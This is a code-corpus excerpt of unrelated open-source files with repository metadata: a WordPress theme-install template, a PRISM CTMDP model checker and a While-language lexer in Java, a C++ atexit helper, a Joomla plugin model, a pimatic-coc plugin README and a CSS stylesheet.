<a href="#" class="previous-theme"><span class="screen-reader-text"><?php _ex( 'Previous', 'Button label for a theme' ); ?></span></a>
<a href="#" class="next-theme"><span class="screen-reader-text"><?php _ex( 'Next', 'Button label for a theme' ); ?></span></a>
<# if ( data.installed ) { #>
<a href="#" class="button button-primary theme-install disabled"><?php _ex( 'Installed', 'theme' ); ?></a>
<# } else { #>
<a href="{{ data.install_url }}" class="button button-primary theme-install"><?php _e( 'Install' ); ?></a>
<# } #>
</div>
<div class="wp-full-overlay-sidebar-content">
<div class="install-theme-info">
<h3 class="theme-name">{{ data.name }}</h3>
<span class="theme-by"><?php printf( __( 'By %s' ), '{{ data.author }}' ); ?></span>
<img class="theme-screenshot" src="{{ data.screenshot_url }}" alt="" />
<div class="theme-details">
<# if ( data.rating ) { #>
<div class="theme-rating">
{{{ data.stars }}}
<span class="num-ratings">({{ data.num_ratings }})</span>
</div>
<# } else { #>
<span class="no-rating"><?php _e( 'This theme has not been rated yet.' ); ?></span>
<# } #>
<div class="theme-version"><?php printf( __( 'Version: %s' ), '{{ data.version }}' ); ?></div>
<div class="theme-description">{{{ data.description }}}</div>
</div>
</div>
</div>
<div class="wp-full-overlay-footer">
<button type="button" class="collapse-sidebar button-secondary" aria-expanded="true" aria-label="<?php esc_attr_e( 'Collapse Sidebar' ); ?>">
<span class="collapse-sidebar-arrow"></span>
<span class="collapse-sidebar-label"><?php _e( 'Collapse' ); ?></span>
</button>
</div>
</div>
<div class="wp-full-overlay-main">
<iframe src="{{ data.preview_url }}" title="<?php esc_attr_e( 'Preview' ); ?>" />
</div>
</script>
<?php
include(ABSPATH . 'wp-admin/admin-footer.php');
|
dwrensha/WordPress
|
wp-admin/theme-install.php
|
PHP
|
gpl-2.0
| 9,199
|
//==============================================================================
//
// Copyright (c) 2002-
// Authors:
// * Dave Parker <david.parker@comlab.ox.ac.uk> (University of Oxford)
//
//------------------------------------------------------------------------------
//
// This file is part of PRISM.
//
// PRISM is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// PRISM is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with PRISM; if not, write to the Free Software Foundation,
// Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
//
//==============================================================================
package explicit;
import java.util.BitSet;
import java.util.Map;
import parser.ast.ExpressionTemporal;
import prism.PrismComponent;
import prism.PrismException;
/**
* Explicit-state model checker for continuous-time Markov decision processes (CTMDPs).
*
* This uses various bits of functionality of MDPModelChecker, so we inherit from that.
* (This way MDPModelChecker picks up any options set on this one.)
*/
public class CTMDPModelChecker extends MDPModelChecker
{
/**
* Create a new CTMDPModelChecker, inherit basic state from parent (unless null).
*/
public CTMDPModelChecker(PrismComponent parent) throws PrismException
{
super(parent);
}
// Model checking functions
@Override
protected StateValues checkProbBoundedUntil(Model model, ExpressionTemporal expr, MinMax minMax) throws PrismException
{
double uTime;
BitSet b1, b2;
StateValues probs = null;
ModelCheckerResult res = null;
// get info from bounded until
uTime = expr.getUpperBound().evaluateDouble(constantValues);
if (uTime < 0 || (uTime == 0 && expr.upperBoundIsStrict())) {
String bound = (expr.upperBoundIsStrict() ? "<" : "<=") + uTime;
throw new PrismException("Invalid upper bound " + bound + " in time-bounded until formula");
}
// model check operands first
b1 = checkExpression(model, expr.getOperand1()).getBitSet();
b2 = checkExpression(model, expr.getOperand2()).getBitSet();
// compute probabilities
// a trivial case: "U<=0"
if (uTime == 0) {
// prob is 1 in b2 states, 0 otherwise
probs = StateValues.createFromBitSetAsDoubles(b2, model);
} else {
res = computeBoundedUntilProbs((CTMDP) model, b1, b2, uTime, minMax.isMin());
probs = StateValues.createFromDoubleArray(res.soln, model);
}
return probs;
}
/**
* Compute bounded until probabilities.
* i.e. compute the min/max probability of reaching a state in {@code target},
* within time t, and while remaining in states in @{code remain}.
* @param ctmdp The CTMDP
* @param remain Remain in these states (optional: null means "all")
* @param target Target states
* @param t Bound
* @param min Min or max probabilities (true=min, false=max)
*/
public ModelCheckerResult computeBoundedUntilProbs(CTMDP ctmdp, BitSet remain, BitSet target, double t, boolean min) throws PrismException
{
return computeBoundedReachProbs(ctmdp, remain, target, t, min, null, null);
}
/**
* Compute bounded probabilistic reachability.
* @param ctmdp The CTMDP
* @param remain Remain in these states (optional: null means "all")
* @param target Target states
* @param t Time bound
* @param min Min or max probabilities for (true=min, false=max)
* @param init Initial solution vector - pass null for default
* @param results Optional array of size b+1 to store (init state) results for each step (null if unused)
*/
public ModelCheckerResult computeBoundedReachProbs(CTMDP ctmdp, BitSet remain, BitSet target, double t, boolean min, double init[], double results[]) throws PrismException
{
// TODO: implement until
MDP mdp;
MDPModelChecker mc;
ModelCheckerResult res;
if (!ctmdp.isLocallyUniform())
throw new PrismException("Can't compute bounded reachability probabilities for non-locally uniform CTMDP");
// TODO: check locally uniform
double epsilon = 1e-3;
double q = ctmdp.getMaxExitRate();
int k = (int) Math.ceil((q * t * q * t) / (2 * epsilon));
double tau = t / k;
mainLog.println("q = " + q + ", k = " + k + ", tau = " + tau);
mdp = ctmdp.buildDiscretisedMDP(tau);
mainLog.println(mdp);
mc = new MDPModelChecker(this);
mc.inheritSettings(this);
res = mc.computeBoundedUntilProbs(mdp, null, target, k, min);
return res;
}
/**
* Compute bounded reachability/until probabilities.
* i.e. compute the min/max probability of reaching a state in {@code target},
* within time t, and while remaining in states in @{code remain}.
* @param ctmdp The CTMDP
* @param remain Remain in these states (optional: null means "all")
* @param target Target states
* @param t: Time bound
* @param min Min or max probabilities (true=min, false=max)
* @param init: Initial solution vector - pass null for default
* @param results: Optional array of size b+1 to store (init state) results for each step (null if unused)
*/
public ModelCheckerResult computeBoundedReachProbsOld(CTMDP ctmdp, BitSet remain, BitSet target, double t, boolean min, double init[], double results[]) throws PrismException
{
// TODO: implement until
ModelCheckerResult res = null;
int i, n, iters;
double soln[], soln2[], tmpsoln[], sum[];
long timer;
// Fox-Glynn stuff
FoxGlynn fg;
int left, right;
double q, qt, weights[], totalWeight;
// Start bounded probabilistic reachability
timer = System.currentTimeMillis();
mainLog.println("Starting time-bounded probabilistic reachability...");
// Store num states
n = ctmdp.getNumStates();
// Get uniformisation rate; do Fox-Glynn
q = 99;//ctmdp.unif;
qt = q * t;
mainLog.println("\nUniformisation: q.t = " + q + " x " + t + " = " + qt);
fg = new FoxGlynn(qt, 1e-300, 1e+300, termCritParam / 8.0);
left = fg.getLeftTruncationPoint();
right = fg.getRightTruncationPoint();
if (right < 0) {
throw new PrismException("Overflow in Fox-Glynn computation (time bound too big?)");
}
weights = fg.getWeights();
totalWeight = fg.getTotalWeight();
for (i = left; i <= right; i++) {
weights[i - left] /= totalWeight;
}
mainLog.println("Fox-Glynn: left = " + left + ", right = " + right);
// Create solution vector(s)
soln = new double[n];
soln2 = (init == null) ? new double[n] : init;
sum = new double[n];
// Initialise solution vectors. Use passed in initial vector, if present
if (init != null) {
for (i = 0; i < n; i++)
soln[i] = soln2[i] = target.get(i) ? 1.0 : init[i];
} else {
for (i = 0; i < n; i++)
soln[i] = soln2[i] = target.get(i) ? 1.0 : 0.0;
}
for (i = 0; i < n; i++)
sum[i] = 0.0;
// If necessary, do 0th element of summation (doesn't require any matrix powers)
if (left == 0)
for (i = 0; i < n; i++)
sum[i] += weights[0] * soln[i];
// Start iterations
iters = 1;
while (iters <= right) {
// Matrix-vector multiply and min/max ops
ctmdp.mvMultMinMax(soln, min, soln2, target, true, null);
// Since is globally uniform, can do this? and more?
for (i = 0; i < n; i++)
soln2[i] /= q;
// Store intermediate results if required
// TODO?
// Swap vectors for next iter
tmpsoln = soln;
soln = soln2;
soln2 = tmpsoln;
// Add to sum
if (iters >= left) {
for (i = 0; i < n; i++)
sum[i] += weights[iters - left] * soln[i];
}
iters++;
}
// Print vector (for debugging)
mainLog.println(sum);
// Finished bounded probabilistic reachability
timer = System.currentTimeMillis() - timer;
mainLog.print("Time-bounded probabilistic reachability (" + (min ? "min" : "max") + ")");
mainLog.println(" took " + iters + " iters and " + timer / 1000.0 + " seconds.");
// Return results
res = new ModelCheckerResult();
res.soln = sum;
res.lastSoln = soln2;
res.numIters = iters;
res.timeTaken = timer / 1000.0;
return res;
}
/**
* Simple test program.
*/
public static void main(String args[])
{
CTMDPModelChecker mc;
CTMDPSimple ctmdp;
ModelCheckerResult res;
BitSet target;
Map<String, BitSet> labels;
boolean min = true;
try {
mc = new CTMDPModelChecker(null);
ctmdp = new CTMDPSimple();
ctmdp.buildFromPrismExplicit(args[0]);
System.out.println(ctmdp);
labels = mc.loadLabelsFile(args[1]);
System.out.println(labels);
target = labels.get(args[2]);
if (target == null)
throw new PrismException("Unknown label \"" + args[2] + "\"");
for (int i = 4; i < args.length; i++) {
if (args[i].equals("-min"))
min = true;
else if (args[i].equals("-max"))
min = false;
else if (args[i].equals("-nopre"))
mc.setPrecomp(false);
}
res = mc.computeBoundedReachProbs(ctmdp, null, target, Double.parseDouble(args[3]), min, null, null);
System.out.println(res.soln[0]);
} catch (PrismException e) {
System.out.println(e);
}
}
}
|
bharathk005/prism-4.2.1-src-teaser-patch
|
src/explicit/CTMDPModelChecker.java
|
Java
|
gpl-2.0
| 9,311
|
/*
Project: WhileInterpreter
Author: Gyorgy Rethy
Date: 2017.08.17.
--------------------------------------------------------------------------------
Descrpition: The object for lexical analysis.
*/
import java.io.*;
import java.util.*;
public class Lexer {
private BufferedReader reader;
private List<String> sourceFileTokens = new ArrayList<String>();
private List<Token> tokens = new ArrayList<Token>();
//empty constructor
public Lexer() {super();}
public Token[] tokens(String filepath) {
readFile(filepath);
enhanceSourceFileTokens();
createTokenList();
//printTokenList();
return tokens.toArray(new Token[0]);
} //tokens
private void readFile(String filepath) {
try {
reader = new BufferedReader(new FileReader(new File(filepath)));
String line = reader.readLine();
while(line != null) {
char[] characters = line.toCharArray();
String word = "";
for(char item : characters) {
switch(item) {
case ' ':
case '\t':
case '\n':
if(!word.equals("")) {
sourceFileTokens.add(word);
word = "";
}
break;
case '(':
case ')':
case '{':
case '}':
case ';':
case '+':
case '-':
case '*':
case '!':
case '=':
case '&':
case '|':
case '<':
if(!word.equals("")) {
sourceFileTokens.add(word);
word = "";
}
sourceFileTokens.add(Character.toString(item));
break;
default:
word += Character.toString(item);
} //switch
} //for
line = reader.readLine();
} //while
} //try
catch(IOException e) {
e.printStackTrace();
}
catch(Exception e) {
e.printStackTrace();
}
finally {
try {
reader.close();
}
catch(IOException e) {
System.err.println("Could not close reader");
e.printStackTrace();
}
catch(Exception e) {
System.err.println("Could not close reader");
e.printStackTrace();
}
} //finally
} //readFile
private void enhanceSourceFileTokens() {
List<String> enhancedList = new ArrayList<String>();
//cast to array for easier access
String[] tokensNow = sourceFileTokens.toArray(new String[0]);
for(int i = 0; i < tokensNow.length; i++){
switch(tokensNow[i]) {
case ":":
case "<":
if(tokensNow[i+1].equals("=")) {
String wordToAdd = tokensNow[i] + "=";
enhancedList.add(wordToAdd);
i++;
} //if
break;
default:
enhancedList.add(tokensNow[i]);
break;
} //switch
} //for
sourceFileTokens = enhancedList;
}
//method to identify tokens and create a list from them
private void createTokenList() {
for(String item : sourceFileTokens) {
switch(item) {
case ":=":
tokens.add(new Token (item,TokenType.ASSIGNEMENT));
break;
case "skip":
tokens.add(new Token(item,TokenType.SKIP));
break;
case ";":
tokens.add(new Token(item,TokenType.SEMICOLON));
break;
case "(":
tokens.add(new Token(item,TokenType.OPAREN));
break;
case ")":
tokens.add(new Token(item,TokenType.CPAREN));
break;
case "{":
tokens.add(new Token(item,TokenType.LBRACE));
break;
case "}":
tokens.add(new Token(item,TokenType.RBRACE));
break;
case "if":
tokens.add(new Token(item,TokenType.IF));
break;
case "then":
tokens.add(new Token(item,TokenType.THEN));
break;
case "else":
tokens.add(new Token(item,TokenType.ELSE));
break;
case "while":
tokens.add(new Token(item,TokenType.WHILE));
break;
case "do":
tokens.add(new Token(item,TokenType.DO));
break;
case "print":
tokens.add(new Token(item,TokenType.PRINT));
break;
case "true":
tokens.add(new Token(item,TokenType.TRUE));
break;
case "false":
tokens.add(new Token(item,TokenType.FALSE));
break;
case "=":
tokens.add(new Token(item,TokenType.EQUAL));
break;
case "<":
tokens.add(new Token(item,TokenType.LESSTHAN));
break;
case "<=":
tokens.add(new Token(item,TokenType.LESSTHANOREQUAL));
break;
case "!":
tokens.add(new Token(item,TokenType.NOT));
break;
case "&":
tokens.add(new Token(item,TokenType.AND));
break;
case "|":
tokens.add(new Token(item,TokenType.OR));
break;
case "+":
tokens.add(new Token(item,TokenType.PLUS));
break;
case "-":
tokens.add(new Token(item,TokenType.MINUS));
break;
case "*":
tokens.add(new Token(item,TokenType.MULTIPLICATION));
break;
default:
if(isStringNumeric(item))
tokens.add(new Token(item,TokenType.INT));
else
tokens.add(new Token(item, TokenType.NAME));
break;
} //switch
} //for
} //createTokenList
//helper method for printing the tokens
private void printTokenList() {
for(String item : sourceFileTokens) {
System.out.println(item);
} //for
for(Token item : tokens) {
System.out.println(item);
}
} //printTokenList
private boolean isStringNumeric(String s) {
//nasty solution but using exceptions
boolean isNumber = true;
try {
int i = Integer.parseInt(s);
}
catch (NumberFormatException e) {
isNumber = false;
}
return isNumber;
}
} //Lexer
|
GyorgyR/WhileInterpreter
|
src/Lexer.java
|
Java
|
gpl-2.0
| 7,740
|
/*
* Copyright (C) 2008-2008 LeGACY <http://www.legacy-project.org/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <cstdlib>
#include "ObjectLifeTime.h"
namespace LeGACY
{
extern "C" void external_wrapper(void *p)
{
std::atexit( (void (*)())p );
}
void at_exit( void (*func)() )
{
external_wrapper((void*)func);
}
}
|
PyroSamurai/legacy-project
|
src/framework/Policies/ObjectLifeTime.cpp
|
C++
|
gpl-2.0
| 1,013
|
<?php
/**
* @package Joomla.Administrator
* @subpackage com_supperadmin
*
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* component model.
*
* @package Joomla.Administrator
* @subpackage com_supperadmin
* @since 1.6
*/
class supperadminModelplugin extends JModelAdmin
{
/**
* @var string The help screen key for the plugin.
* @since 1.6
*/
protected $helpKey = 'JHELP_pluginS_component_MANAGER_EDIT';
/**
* @var string The help screen base URL for the plugin.
* @since 1.6
*/
protected $helpURL;
/**
* @var array An array of cached component items.
* @since 1.6
*/
protected $_cache;
/**
* @var string The event to trigger after saving the data.
* @since 1.6
*/
protected $event_after_save = 'onpluginAfterSave';
/**
* @var string The event to trigger after before the data.
* @since 1.6
*/
protected $event_before_save = 'onpluginBeforeSave';
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data (default case), false if not.
*
* @return JForm A JForm object on success, false on failure
* @since 1.6
*/
public function getForm($data = array(), $loadData = true)
{
// The folder and element vars are passed when saving the form.
if (empty($data))
{
$item = $this->getItem();
$folder = $item->folder;
$element = $item->element;
}
else
{
$folder = JArrayHelper::getValue($data, 'folder', '', 'cmd');
$element = JArrayHelper::getValue($data, 'element', '', 'cmd');
}
// These variables are used to add data from the component XML files.
$this->setState('item.folder', $folder);
$this->setState('item.element', $element);
// Get the form.
$form = $this->loadForm('com_supperadmin.plugin', 'plugin', array('control' => 'jform', 'load_data' => $loadData));
if (empty($form))
{
return false;
}
// Modify the form based on access controls.
if (!$this->canEditState((object) $data))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled', 'true');
$form->setFieldAttribute('enabled', 'disabled', 'true');
// Disable fields while saving.
// The controller has already verified this is a record you can edit.
$form->setFieldAttribute('ordering', 'filter', 'unset');
$form->setFieldAttribute('enabled', 'filter', 'unset');
}
return $form;
}
function ajaxSaveForm($pks)
{
$input=JFactory::getApplication()->input;
$title=$input->get('title',array(),'array');
$table = $this->getTable();
$pks = (array) $pks;
foreach ($pks as $i => $pk)
{
if ($table->load($pk))
{
$table->name=$title[$pk];
$table->store();
}
}
// Clean the cache
$this->cleanCache();
// Ensure that previous checks doesn't empty the array
if (empty($pks))
{
return true;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data = JFactory::getApplication()->getUserState('com_supperadmin.edit.plugin.data', array());
if (empty($data))
{
$data = $this->getItem();
}
$this->preprocessData('com_supperadmin.plugin', $data);
return $data;
}
/**
* Method to duplicate plugins.
*
* @param array &$pks An array of primary key IDs.
*
* @return boolean True if successful.
*
* @since 1.6
* @throws Exception
*/
public function duplicate(&$pks)
{
$user = JFactory::getUser();
$db = $this->getDbo();
// Access checks.
if (!$user->authorise('core.create', 'com_supperadmin'))
{
throw new Exception(JText::_('JERROR_CORE_CREATE_NOT_PERMITTED'));
}
$table = $this->getTable();
foreach ($pks as $pk)
{
if ($table->load($pk, true))
{
echo "<pre>";
print_r($table);
echo "</pre>";
die;
// Reset the id to create a new record.
$table->id = 0;
// Alter the title.
$m = null;
if (preg_match('#\((\d+)\)$#', $table->name, $m))
{
$table->title = preg_replace('#\(\d+\)$#', '(' . ($m[1] + 1) . ')', $table->name);
}
else
{
$table->name .= ' (2)';
}
// Unpublish duplicate plugin
$table->published = 0;
if (!$table->check() || !$table->store())
{
throw new Exception($table->getError());
}
}
else
{
throw new Exception($table->getError());
}
}
// Clear plugins cache
$this->cleanCache();
return parent::duplicate($pks);
}
/**
* Method to delete rows.
*
* @param array &$pks An array of item ids.
*
* @return boolean Returns true on success, false on failure.
*
* @since 1.6
* @throws Exception
*/
public function delete(&$pks)
{
$pks = (array) $pks;
$user = JFactory::getUser();
$table = $this->getTable();
// Iterate the items to delete each one.
foreach ($pks as $pk)
{
if ($table->load($pk))
{
// Access checks.
if ($table->enabled != -2)
{
$this->setError('You cannot delete');
return false;
}
if($table->issystem)
{
$this->setError('you cannot delete plugin system');
return false;
}
if (!$table->delete($pk))
{
throw new Exception($table->getError());
}
// Clear plugin cache
}
else
{
throw new Exception($table->getError());
}
}
// Clear plugins cache
$this->cleanCache();
return true;
}
public function duplicateAndAssign(&$pks,$website_id=0)
{
$user = JFactory::getUser();
$db = $this->getDbo();
$tuples=array();
/* // Access checks.
if (!$user->authorise('core.create', 'com_plugin'))
{
throw new Exception(JText::_('JERROR_CORE_CREATE_NOT_PERMITTED'));
}*/
$table = $this->getTable();
foreach ($pks as $pk)
{
if ($table->load($pk, true))
{
// Reset the id to create a new record.
$table->id = 0;
$table->website_id = $website_id;
// Unpublish duplicate plugin
if (!$table->check() || !$table->store())
{
throw new Exception($table->getError());
}
}
else
{
throw new Exception($table->getError());
}
}
return true;
}
public function quick_assign_website(&$pks,$website_id)
{
$user = JFactory::getUser();
$db = $this->getDbo();
// Access checks.
if (!$user->authorise('core.create', 'com_supperadmin'))
{
throw new Exception(JText::_('JERROR_CORE_CREATE_NOT_PERMITTED'));
}
$table = $this->getTable();
foreach ($pks as $pk)
{
if ($table->load($pk, true))
{
$table->website_id=$website_id;
if (!$table->check() || !$table->store())
{
throw new Exception($table->getError());
}
}
else
{
throw new Exception($table->getError());
}
}
// Clear plugins cache
$this->cleanCache();
return true;
}
/**
* Method to get a single record.
*
* @param integer The id of the primary key.
*
* @return mixed Object on success, false on failure.
*/
public function getItem($pk = null)
{
$pk = (!empty($pk)) ? $pk : (int) $this->getState('plugin.id');
if (!isset($this->_cache[$pk]))
{
$false = false;
// Get a row instance.
$table = $this->getTable();
// Attempt to load the row.
$return = $table->load($pk);
// Check for a table object error.
if ($return === false && $table->getError())
{
$this->setError($table->getError());
return $false;
}
// Convert to the JObject before adding other data.
$properties = $table->getProperties(1);
$this->_cache[$pk] = JArrayHelper::toObject($properties, 'JObject');
// Convert the params field to an array.
$registry = new JRegistry;
$registry->loadString($table->params);
$this->_cache[$pk]->params = $registry->toArray();
// Get the plugin XML.
$path = JPath::clean(JPATH_ROOT . '/' . $table->folder . '/' . $table->element . '/' . $table->element . '.xml');
if (file_exists($path))
{
$this->_cache[$pk]->xml = simplexml_load_file($path);
}
else
{
$this->_cache[$pk]->xml = null;
}
}
return $this->_cache[$pk];
}
/**
* Returns a reference to the a Table object, always creating it.
*
* @param type The table type to instantiate
* @param string A prefix for the table class name. Optional.
* @param array Configuration array for model. Optional.
* @return JTable A database object
*/
public function getTable($type = 'supperadminplugin', $prefix = 'JTable', $config = array())
{
return JTable::getInstance($type, $prefix, $config);
}
/**
* Auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @return void
* @since 1.6
*/
protected function populateState()
{
// Execute the parent method.
parent::populateState();
$app = JFactory::getApplication('site');
// Load the User state.
$pk = $app->input->getInt('id');
$this->setState('plugin.id', $pk);
}
/**
* A protected method to get a set of ordering conditions.
*
* @param object A record object.
* @return array An array of conditions to add to add to ordering queries.
* @since 1.6
*/
protected function getReorderConditions($table)
{
$condition = array();
$condition[] = 'type = ' . $this->_db->quote($table->type);
$condition[] = 'folder = ' . $this->_db->quote($table->folder);
return $condition;
}
/**
* Get the necessary data to load an item help screen.
*
* @return object An object with key, url, and local properties for loading the item help screen.
* @since 1.6
*/
public function getHelp()
{
return (object) array('key' => $this->helpKey, 'url' => $this->helpURL);
}
/**
* Custom clean cache method, supperadmin are cached in 2 places for different clients
*
* @since 1.6
*/
protected function cleanCache($group = null, $client_id = 0)
{
parent::cleanCache('com_supperadmin');
}
}
|
cuongnd/test_pro
|
components/website/website_supper_admin/com_supperadmin/models/plugin.php
|
PHP
|
gpl-2.0
| 11,622
|
pimatic-coc
==============
This is a pimatic plugin which allows you to connect a [busware COC module](http://busware.de/tiki-index.php?page=COC) or a [busware CUL](http://busware.de/tiki-index.php?page=CUL) to the [pimatic home automation framework](http://pimatic.org).
##Installation
###Add the plugin
To enable the COC plugin add this section to your config.json file.
```
...
{
"plugin": "coc"
}
...
```
To use a CUL device connected to an USB port instead of an internally connected COC module, you need to set the hardware type and the serial device name.
```
...
{
"plugin": "coc",
"hardwareType": "CUL",
"serialDeviceName": "/dev/tty_your_name_here"
}
...
```
Use
```
dmesg | grep tty
```
to find the serial device name of the CUL.
###Add devices
The COC plugin currently defines two types of devices.
* The COCSwitch device supports the COC generic commands for on and off. You can use it for all supported protocols.
* The COCSwitchFS20 device is a specialized version which controls FS20 devices. It creates the needed on/off commands internally.
This is an example for the devices section in the config.json file.
```
...
"devices": [
{
"class": "COCSwitch",
"id": "socket2",
"name": "Socket 2",
"commandOn": "F1234A811",
"commandOff": "F1234A810"
},
{
"class": "COCSwitchFS20",
"id": "socketF1",
"name": "Socket FS20",
"houseid": "1234",
"deviceid": "A8"
}
],
```
***Attention:***
This plugin uses the onoff module, which has some issues with Raspian jessie. Check [this](https://github.com/raspberrypi/linux/issues/1117) to fix the issue.
|
dfischbach/pimatic-coc
|
README.md
|
Markdown
|
gpl-2.0
| 1,662
|
<STYLE>
.t24 {font-size: 24px}
.t20 {font-size: 20px}
.t18 {font-size: 18px}
.t17 {font-size: 17px}
.t16 {font-size: 16px}
.t15 {font-size: 15px}
.t14 {font-size: 14px}
.t13 {font-size: 13px}
.t12 {font-size: 12px}
.t11 {font-size: 11px}
.t10 {font-size: 10px}
.t9 {font-size: 9px}
.t8 {font-size: 8px}
.lienBarnavtxt {
text-decoration: none;
color: #CCCCCC;
font-size: 10px;
font-family: Verdana, arial, helvetica, sans-serif;
font-weight: bold;
}
.lienBarnavtxt:hover {text-decoration: none; color: #FF0000;}
.lienSt {text-decoration: none; color: #222222;}
.lienSt:hover {text-decoration: none; color: #666666;}
.lienSt1 {text-decoration: none; color: #AAAAAA;}
.lienSt1:hover {text-decoration: none; color: #DDDDDD;}
.lienSt2 {text-decoration: none;}
.lienSt2:hover {text-decoration: underline;}
.lienRg {text-decoration: none; color: #AA0000;}
.lienRg:hover {text-decoration: underline;}
.lienRg2 {text-decoration: none; color: #FF0000;}
.lienRg2:hover {text-decoration: underline;}
.lienOr {text-decoration: none; color: #FF6600;}
.lienOr:hover {text-decoration: underline;}
.lienMv {text-decoration: none; color: #9966FF;}
.lienMv:hover {text-decoration: underline;}
.lienMv2 {text-decoration: none; color: #9999CC;}
.lienMv2:hover {text-decoration: underline;}
.lienNr {text-decoration: none; color: #000000;}
.lienNr:hover {text-decoration: underline;}
.lienBl {text-decoration: none; color: #FFFFFF;}
.lienBl:hover {text-decoration: underline;}
.lienBle {text-decoration: none; color: #00518B;}
.lienBle:hover {text-decoration: underline;}
.lienGr {text-decoration: none; color: #333333;}
.lienGr:hover {text-decoration: underline;}
.lienGr2 {text-decoration: none; color: #666666;}
.lienGr2:hover {text-decoration: underline;}
.lienGr3 {text-decoration: none; color: #CCCCCC;}
.lienGr3:hover {text-decoration: underline;}
.lienVr {text-decoration: none; color: #333300;}
.lienVr:hover {text-decoration: underline;}
.lienVr2 {text-decoration: none; color: #024A4A;}
.lienVr2:hover {text-decoration: underline}.lienFoot_Mv {text-decoration: none; color: #330033;}
.lienFoot_Mv:hover {text-decoration: underline;}
.lienFoot_Rs {text-decoration: none; color: #FF3366;}
.lienFoot_Rs:hover {text-decoration: underline;}
.lienVr3 {text-decoration: none; color: #CCCC99;}
.lienVr3:hover { text-decoration: underline;}
.5pixels {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 5px;
}
.foot_txt {font-size: 11px; line-height: 16px;}
.hp_boi_txt {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 13px;
}
.hp_tet_liste {
font-family: Arial, Helvetica, sans-serif;
font-size: 15px;
line-height: 18px;
letter-spacing: .5px;
}
.hp_tit_niv1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 16px;
}
.hp_tit_niv2 {
font-family: Arial, Helvetica, sans-serif;
font-size: 13px;
}
.hp_tit_niv3 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
.hp_tit_niv4 {
font-family: Arial, Helvetica, sans-serif;
font-size: 11px;
}
.hp_chapo {
font-family: Verdana, Helvetica, Geneva, Arial;
font-size: 11px;
line-height: 14px;
}
.hp_date {
font-size: 10px;
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
color: #666666;
font-weight: normal;
}
.nav_txt {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 13px;
}
.dos_boi_tit {
font-family: Trebuchet MS, Verdana, Geneva, Arial;
font-size: 13px;
line-height: 15px;
}
.art_surtit {
font-family: Arial, Helvetica, sans-serif;
font-size: 14px;
line-height: 16px;
font-weight: bold;
}
.art_tit {
font-family: Arial, Helvetica, sans-serif;
font-size: 24px;
line-height: 26px;
font-weight: bold;
}
.art_chapo {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
line-height: 17px;
}
.art_pretxt {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 16px;
}
.art_postxt {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 13px;
}
.art_txt {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 11px;
line-height: 16px;
color: #000000;
}
.art_aut {
font-family: Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 16px;
}
.art_date {
font-family: Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 13px;
}
.art_fonc {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 16px;
font-weight: bold;
color: #000000;
}
.art_infoaut {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 16px;
}
.art_leg {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 13px;
}
.art_oeuv {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 11px;
line-height: 16px;
color: #000000;
}
.art_rel {
font-size: 12px;
line-height: 18px;
font-weight: bold;
color: #AA0000;
font-family: Arial, Helvetica, sans-serif;
}
.art_impr_txt {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
line-height: 16px;
color: #000000;
}
.art_impr_txt2 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
line-height: 17px;
color: #000000;
}
.art_impr_txt3 {
font-family: Times, Serif;
font-size: 14px;
line-height: 17px;
color: #000000;
}
.boi_txt {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 10px;
line-height: 13px;
}
.form_tit {
font-family: Arial, Helvetica, sans-serif;
font-size: 13px;
line-height: normal;
color: #000000;
font-weight: bold;
}
.form_txt {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 11px;
line-height: 14px;
color: #000000;
}
.form_txt_gras {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 11px;
line-height: 14px;
font-weight: bold;
color: #000000;
}
.form_txt2 {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 9px;
line-height: 12px;
color: #000000;
}
.dep_rub {
font-family: Arial, Helvetica, sans-serif;
font-size: 13px;
line-height: 16px;
color: #316666;
}
